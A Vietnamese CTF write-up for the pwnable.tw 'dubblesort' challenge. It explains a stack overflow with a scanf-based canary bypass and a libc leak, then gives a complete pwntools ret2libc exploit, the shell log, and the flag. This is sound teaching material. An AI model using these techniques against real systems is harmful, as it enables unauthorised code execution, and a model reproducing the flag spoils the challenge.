dubblesort
Vulnerability: Chương trình không kiểm tra số lượng số được nhập vào, dẫn đến buffer overflow trên stack, kết hợp với việc stack canary bị bypass do hành vi của hàm scanf().
Recon
Mitigation
$ pwn checksec dubblesort
[*] '/home/hungnt/ctfs/pwnable.tw/dubblesort/dubblesort'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabledhungnt@hungnt-ubuntu:~/ctfs/pwnable.tw/dubblesort$ file dubblesort
dubblesort: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=12a217baf7cbdf2bb5c344ff14adcf7703672fb1, strippedCode
/* WARNING: Function: __i686.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */
undefined4 main(void)
{
undefined4 result;
uint i;
undefined4 *cur_num;
int in_GS_OFFSET;
uint number_to_sort;
undefined4 nums [8];
undefined1 name [64];
int canary;
canary = *(int *)(in_GS_OFFSET + 0x14);
setup();
__printf_chk(1,"What your name :");
read(0,name,0x40);
__printf_chk(1,"Hello %s,How many numbers do you what to sort :",name);
__isoc99_scanf("%u",&number_to_sort);
if (number_to_sort != 0) {
cur_num = nums;
i = 0;
do {
__printf_chk(1,"Enter the %d number : ",i);
fflush(_stdout);
__isoc99_scanf("%u",cur_num);
i = i + 1;
cur_num = cur_num + 1;
} while (i < number_to_sort);
}
sort(nums,number_to_sort);
puts("Result :");
if (number_to_sort != 0) {
i = 0;
do {
__printf_chk(1,"%u",nums[i]);
i = i + 1;
} while (i < number_to_sort);
}
result = 0;
if (canary != *(int *)(in_GS_OFFSET + 0x14)) {
result = FUN_00010ba0();
}
return result;
}Solve
Name được nhập vào buffer nhưng chương trình ko đặt thêm null terminator ở cuối, nên có thể dùng để leak dữ liệu trên stack, cụ thể ở đây là leak đc địa chỉ libc.

Vì mình có thể nhập số lượng số cần sort một cách tùy ý, nên có thể gây ra buffer overflow, nhập quá 8 số, dẫn đến có thể ghi đè return address. Có libc rồi thì với one gadget hay hàm system là hợp lý. Nhưng mà còn stack canary cơ mà, nhìn code thì làm gì có cách bypass được canary??
Sau một hồi cố gắng bypass canary trong tuyệt vọng, perplexity đã cứu mình:

Thảo nào lúc mình thử nhập chữ cái vào thì nó ra một loạt như này luôn, là vì scanf() ko consume ký tự trong buffer stdin, dẫn đến mọi scanf() đằng sau đều lỗi luôn, ko nhập đc gì hết:

Vậy mình chỉ cần nhập ký tự + hoặc - tại vị trí của stack canary là có thể bypass đc.
Exploit xong rồi, trên local thì chạy ngon đấy, mà trên remote lại ko đc, rõ ràng mình dùng đúng bản libc đc cho rồi mà? Hóa ra offset đến chỗ leak libc trên stack ko giống nhau ở local và trên remote. Ở local thì là 24, nhưng trên remote lại là 28:
hungnt@hungnt-ubuntu:~/ctfs/pwnable.tw/dubblesort$ py solve.py
[+] Opening connection to chall.pwnable.tw on port 10101: Done
offset = 4 -> 0xff837f0a
[*] Closed connection to chall.pwnable.tw port 10101
[+] Opening connection to chall.pwnable.tw on port 10101: Done
offset = 8 -> 0x6f482c0a
[*] Closed connection to chall.pwnable.tw port 10101
[+] Opening connection to chall.pwnable.tw on port 10101: Done
offset = 12 -> 0x6f482c0a
[*] Closed connection to chall.pwnable.tw port 10101
[+] Opening connection to chall.pwnable.tw on port 10101: Done
offset = 16 -> 0xf765980a
[*] Closed connection to chall.pwnable.tw port 10101
[+] Opening connection to chall.pwnable.tw on port 10101: Done
offset = 20 -> 0x6f482c0a
[*] Closed connection to chall.pwnable.tw port 10101
[+] Opening connection to chall.pwnable.tw on port 10101: Done
offset = 24 -> 0x6f482c0a
[*] Closed connection to chall.pwnable.tw port 10101
[+] Opening connection to chall.pwnable.tw on port 10101: Done
offset = 28 -> 0xf772500a
[*] Closed connection to chall.pwnable.tw port 10101
[+] Opening connection to chall.pwnable.tw on port 10101: Done
offset = 32 -> 0x5663960a
[*] Closed connection to chall.pwnable.tw port 10101
[+] Opening connection to chall.pwnable.tw on port 10101: Done
offset = 36 -> 0x5655c70a
[*] Closed connection to chall.pwnable.tw port 10101
[+] Opening connection to chall.pwnable.tw on port 10101: Done
offset = 40 -> 0x56649f0a
[*] Closed connection to chall.pwnable.tw port 10101
[+] Opening connection to chall.pwnable.tw on port 10101: Done
offset = 44 -> 0x6f482c0a
[*] Closed connection to chall.pwnable.tw port 10101
[+] Opening connection to chall.pwnable.tw on port 10101: Done
offset = 48 -> 0x56610b0a
[*] Closed connection to chall.pwnable.tw port 10101
[+] Opening connection to chall.pwnable.tw on port 10101: DoneScript
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=8, c=b'A': c * len
exe = ELF("dubblesort_patched", checksec=False)
libc = ELF("libc_32.so.6", checksec=False)
ld = ELF("./ld-2.23.so", checksec=False)
context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
b *main+111
# b *main+133
# b *main+240
# b *main+328
b *main+333
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
sleep(0.1)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(1)
return p
else:
host = "chall.pwnable.tw"
port = 10101
return remote(host, port)
p = conn()
if args.LOCAL:
n = 24
else:
n = 28
sla(p, b'name', pad(n))
ru(p, pad(n))
libc.address = leak_bytes(rn(p, 4), 0x1b000a)
lg("libc base", libc.address)
to_canary = 24
canary = 1
to_ret_addr = 8
to_binsh = 2
slan(p, b'to sort', to_canary + canary + to_ret_addr + to_binsh)
def send_num(count, num):
for i in range(count):
slan(p, b'number', num)
send_num(to_canary, 0)
send_num(canary, '+')
send_num(to_ret_addr, libc.symbols['system'])
send_num(to_binsh, binsh(libc))
rr(p, 1)
ia(p)$ py solve.py
[+] Opening connection to chall.pwnable.tw on port 10101: Done
libc base -> 0xf75d6000
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cd home
$ ls
dubblesort
$ cd dubblesort
$ ls
dubblesort
flag
run.sh
$ cat flag
FLAG{Dubo_duBo_dub0_s0rttttttt}